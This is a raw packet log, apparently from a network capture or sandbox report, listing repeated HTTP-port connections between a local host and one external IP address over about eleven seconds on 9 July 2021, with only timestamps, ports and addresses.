Jul 9, 2021 03:08:29.095545053 CEST	49289	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:29.147928953 CEST	80	49288	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:29.148061037 CEST	49288	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:29.149391890 CEST	80	49289	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:29.149543047 CEST	49289	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:29.150449991 CEST	49289	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:29.205363989 CEST	80	49289	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:29.217377901 CEST	80	49289	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:29.217587948 CEST	49289	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:29.433238029 CEST	49289	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:29.434662104 CEST	49290	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:29.487010956 CEST	80	49289	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:29.487211943 CEST	49289	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:29.487266064 CEST	80	49290	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:29.487386942 CEST	49290	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:29.488502026 CEST	49290	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:29.543282986 CEST	80	49290	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:29.561541080 CEST	80	49290	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:29.561674118 CEST	49290	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:29.775573015 CEST	49290	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:29.776537895 CEST	49291	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:29.828419924 CEST	80	49290	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:29.828602076 CEST	49290	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:29.829004049 CEST	80	49291	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:29.829157114 CEST	49291	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:29.830624104 CEST	49291	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:29.883526087 CEST	80	49291	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:29.896825075 CEST	80	49291	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:29.896951914 CEST	49291	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:30.122246027 CEST	49291	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:30.123610973 CEST	49292	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:30.176927090 CEST	80	49291	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:30.177048922 CEST	49291	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:30.178376913 CEST	80	49292	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:30.178468943 CEST	49292	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:30.179404020 CEST	49292	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:30.234986067 CEST	80	49292	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:30.248313904 CEST	80	49292	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:30.248445034 CEST	49292	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:30.467226982 CEST	49292	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:30.468895912 CEST	49293	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:30.526458025 CEST	80	49292	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:30.526525974 CEST	80	49293	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:30.526603937 CEST	49292	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:30.526730061 CEST	49293	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:30.527456999 CEST	49293	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:30.582714081 CEST	80	49293	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:30.596205950 CEST	80	49293	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:30.596338034 CEST	49293	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:30.822613955 CEST	49293	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:30.824079037 CEST	49294	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:30.877816916 CEST	80	49294	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:30.877943993 CEST	49294	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:30.878077030 CEST	80	49293	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:30.878169060 CEST	49293	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:30.879043102 CEST	49294	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:30.932610035 CEST	80	49294	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:30.945991039 CEST	80	49294	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:30.946091890 CEST	49294	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:31.166224957 CEST	49294	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:31.167548895 CEST	49295	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:31.220626116 CEST	80	49294	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:31.220834017 CEST	49294	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:31.223664999 CEST	80	49295	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:31.223794937 CEST	49295	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:31.224891901 CEST	49295	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:31.279722929 CEST	80	49295	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:31.294434071 CEST	80	49295	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:31.297489882 CEST	49295	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:31.522741079 CEST	49295	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:31.523776054 CEST	49296	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:31.576934099 CEST	80	49296	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:31.577043056 CEST	49296	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:31.577616930 CEST	49296	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:31.577721119 CEST	80	49295	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:31.577817917 CEST	49295	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:31.631215096 CEST	80	49296	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:31.648715019 CEST	80	49296	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:31.648807049 CEST	49296	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:31.868403912 CEST	49296	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:31.869719028 CEST	49297	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:31.922687054 CEST	80	49296	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:31.922828913 CEST	49296	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:31.923264027 CEST	80	49297	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:31.923333883 CEST	49297	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:31.924048901 CEST	49297	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:31.976317883 CEST	80	49297	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:31.989897966 CEST	80	49297	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:31.990035057 CEST	49297	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:32.213982105 CEST	49297	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:32.215410948 CEST	49298	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:32.267247915 CEST	80	49297	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:32.267451048 CEST	49297	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:32.268583059 CEST	80	49298	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:32.268687963 CEST	49298	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:32.269800901 CEST	49298	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:32.324081898 CEST	80	49298	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:32.337558031 CEST	80	49298	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:32.337737083 CEST	49298	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:32.555985928 CEST	49298	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:32.557056904 CEST	49299	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:32.611294031 CEST	80	49298	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:32.611334085 CEST	80	49299	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:32.611402035 CEST	49298	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:32.611453056 CEST	49299	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:32.612934113 CEST	49299	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:32.665654898 CEST	80	49299	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:32.679884911 CEST	80	49299	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:32.680063963 CEST	49299	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:32.895539045 CEST	49299	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:32.897141933 CEST	49300	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:32.950288057 CEST	80	49299	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:32.950354099 CEST	49299	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:32.952774048 CEST	80	49300	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:32.952889919 CEST	49300	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:32.953722000 CEST	49300	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:33.011740923 CEST	80	49300	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:33.022732973 CEST	80	49300	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:33.022815943 CEST	49300	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:33.236911058 CEST	49300	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:33.237845898 CEST	49301	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:33.293044090 CEST	80	49300	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:33.293271065 CEST	49300	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:33.294023037 CEST	80	49301	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:33.294092894 CEST	49301	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:33.294807911 CEST	49301	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:33.350637913 CEST	80	49301	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:33.364372969 CEST	80	49301	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:33.364458084 CEST	49301	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:33.586364985 CEST	49301	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:33.587950945 CEST	49302	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:33.642596006 CEST	80	49301	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:33.642671108 CEST	49301	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:33.642824888 CEST	80	49302	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:33.642896891 CEST	49302	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:33.643659115 CEST	49302	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:33.698244095 CEST	80	49302	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:33.713886023 CEST	80	49302	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:33.713990927 CEST	49302	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:33.940058947 CEST	49302	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:33.941018105 CEST	49303	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:33.997425079 CEST	80	49302	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:33.997606039 CEST	49302	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:34.001318932 CEST	80	49303	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:34.001483917 CEST	49303	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:34.002429962 CEST	49303	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:34.059705019 CEST	80	49303	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:34.072370052 CEST	80	49303	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:34.072477102 CEST	49303	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:34.298618078 CEST	49303	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:34.299598932 CEST	49304	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:34.353252888 CEST	80	49304	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:34.353321075 CEST	49304	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:34.353976011 CEST	49304	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:34.355257034 CEST	80	49303	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:34.358186960 CEST	49303	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:34.410767078 CEST	80	49304	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:34.423676014 CEST	80	49304	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:34.423759937 CEST	49304	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:34.641907930 CEST	49304	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:34.643294096 CEST	49305	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:34.696461916 CEST	80	49304	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:34.696549892 CEST	49304	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:34.697825909 CEST	80	49305	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:34.697916985 CEST	49305	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:34.698522091 CEST	49305	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:34.753717899 CEST	80	49305	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:34.767838955 CEST	80	49305	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:34.767960072 CEST	49305	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:34.991597891 CEST	49305	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:34.992948055 CEST	49306	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:35.045341969 CEST	80	49305	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:35.045459986 CEST	49305	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:35.046932936 CEST	80	49306	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:35.047008038 CEST	49306	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:35.047782898 CEST	49306	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:35.103250980 CEST	80	49306	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:35.119537115 CEST	80	49306	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:35.119693995 CEST	49306	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:35.349450111 CEST	49306	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:35.350590944 CEST	49307	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:35.405916929 CEST	80	49307	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:35.406009912 CEST	49307	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:35.406141996 CEST	80	49306	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:35.406183958 CEST	49306	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:35.406789064 CEST	49307	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:35.460118055 CEST	80	49307	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:35.474266052 CEST	80	49307	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:35.474389076 CEST	49307	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:35.693037033 CEST	49307	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:35.694856882 CEST	49308	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:35.746237993 CEST	80	49307	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:35.746364117 CEST	49307	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:35.746838093 CEST	80	49308	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:35.746947050 CEST	49308	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:35.747992992 CEST	49308	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:35.800137043 CEST	80	49308	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:35.813770056 CEST	80	49308	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:35.813900948 CEST	49308	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:36.030376911 CEST	49308	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:36.031601906 CEST	49309	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:36.083054066 CEST	80	49308	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:36.083199024 CEST	49308	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:36.083831072 CEST	80	49309	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:36.084008932 CEST	49309	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:36.085670948 CEST	49309	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:36.137725115 CEST	80	49309	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:36.150537014 CEST	80	49309	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:36.150691032 CEST	49309	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:36.375257015 CEST	49309	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:36.376579046 CEST	49310	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:36.430485010 CEST	80	49309	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:36.431473017 CEST	49309	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:36.434159040 CEST	80	49310	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:36.434297085 CEST	49310	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:36.434982061 CEST	49310	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:36.490643978 CEST	80	49310	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:36.503417015 CEST	80	49310	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:36.503547907 CEST	49310	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:36.717334986 CEST	49310	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:36.718370914 CEST	49311	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:36.770558119 CEST	80	49311	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:36.770987988 CEST	49311	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:36.771972895 CEST	49311	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:36.772293091 CEST	80	49310	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:36.772464037 CEST	49310	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:36.823909998 CEST	80	49311	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:36.837707996 CEST	80	49311	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:36.838049889 CEST	49311	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:37.060287952 CEST	49311	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:37.061307907 CEST	49312	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:37.112715960 CEST	80	49311	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:37.112831116 CEST	49311	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:37.114574909 CEST	80	49312	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:37.114666939 CEST	49312	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:37.115314007 CEST	49312	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:37.170844078 CEST	80	49312	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:37.183634043 CEST	80	49312	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:37.183725119 CEST	49312	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:37.409033060 CEST	49312	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:37.410068989 CEST	49313	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:37.463262081 CEST	80	49312	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:37.463413954 CEST	49312	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:37.463443041 CEST	80	49313	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:37.463557005 CEST	49313	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:37.464494944 CEST	49313	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:37.519509077 CEST	80	49313	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:37.532049894 CEST	80	49313	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:37.532123089 CEST	49313	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:37.748262882 CEST	49313	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:37.749497890 CEST	49314	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:37.801455975 CEST	80	49313	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:37.801481009 CEST	80	49314	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:37.801522017 CEST	49313	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:37.801578045 CEST	49314	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:37.802294016 CEST	49314	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:37.854547977 CEST	80	49314	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:37.868218899 CEST	80	49314	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:37.868510962 CEST	49314	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:38.109575987 CEST	49314	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:38.111634970 CEST	49315	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:38.161811113 CEST	80	49314	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:38.161912918 CEST	49314	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:38.165016890 CEST	80	49315	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:38.165087938 CEST	49315	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:38.165793896 CEST	49315	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:38.219079018 CEST	80	49315	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:38.231997967 CEST	80	49315	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:38.232122898 CEST	49315	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:38.451658964 CEST	49315	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:38.453342915 CEST	49316	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:38.505358934 CEST	80	49315	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:38.505430937 CEST	80	49316	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:38.505439997 CEST	49315	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:38.505579948 CEST	49316	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:38.506474972 CEST	49316	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:38.558722973 CEST	80	49316	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:38.572274923 CEST	80	49316	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:38.572659969 CEST	49316	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:38.793921947 CEST	49316	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:38.795140982 CEST	49317	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:38.846273899 CEST	80	49316	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:38.846419096 CEST	49316	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:38.847184896 CEST	80	49317	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:38.847282887 CEST	49317	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:38.847984076 CEST	49317	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:38.900692940 CEST	80	49317	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:38.913382053 CEST	80	49317	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:38.913522005 CEST	49317	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:39.134548903 CEST	49317	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:39.135474920 CEST	49318	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:39.187339067 CEST	80	49317	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:39.187455893 CEST	49317	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:39.188565969 CEST	80	49318	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:39.188644886 CEST	49318	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:39.189629078 CEST	49318	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:39.243141890 CEST	80	49318	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:39.256133080 CEST	80	49318	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:39.256284952 CEST	49318	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:39.480465889 CEST	49318	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:39.481765985 CEST	49319	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:39.533895969 CEST	80	49318	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:39.534002066 CEST	80	49319	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:39.534025908 CEST	49318	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:39.534069061 CEST	49319	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:39.534812927 CEST	49319	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:39.587498903 CEST	80	49319	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:39.601012945 CEST	80	49319	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:39.601083994 CEST	49319	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:39.823139906 CEST	49319	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:39.824239969 CEST	49320	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:39.876841068 CEST	80	49319	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:39.876975060 CEST	49319	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:39.879044056 CEST	80	49320	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:39.879123926 CEST	49320	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:39.879748106 CEST	49320	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:39.932967901 CEST	80	49320	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:39.945930004 CEST	80	49320	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:39.946074963 CEST	49320	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:40.164956093 CEST	49320	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:40.165873051 CEST	49321	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:40.218719006 CEST	80	49320	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:40.218832016 CEST	49320	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:40.219168901 CEST	80	49321	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:40.219286919 CEST	49321	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:40.220854998 CEST	49321	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:40.274379015 CEST	80	49321	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:40.289783001 CEST	80	49321	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:40.290030003 CEST	49321	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:40.511801958 CEST	49321	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:40.513334036 CEST	49322	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:08:40.566129923 CEST	80	49322	77.222.42.67	192.168.2.22
Jul 9, 2021 03:08:40.566188097 CEST	80	49321	77.222.42.67	192.168.2.22
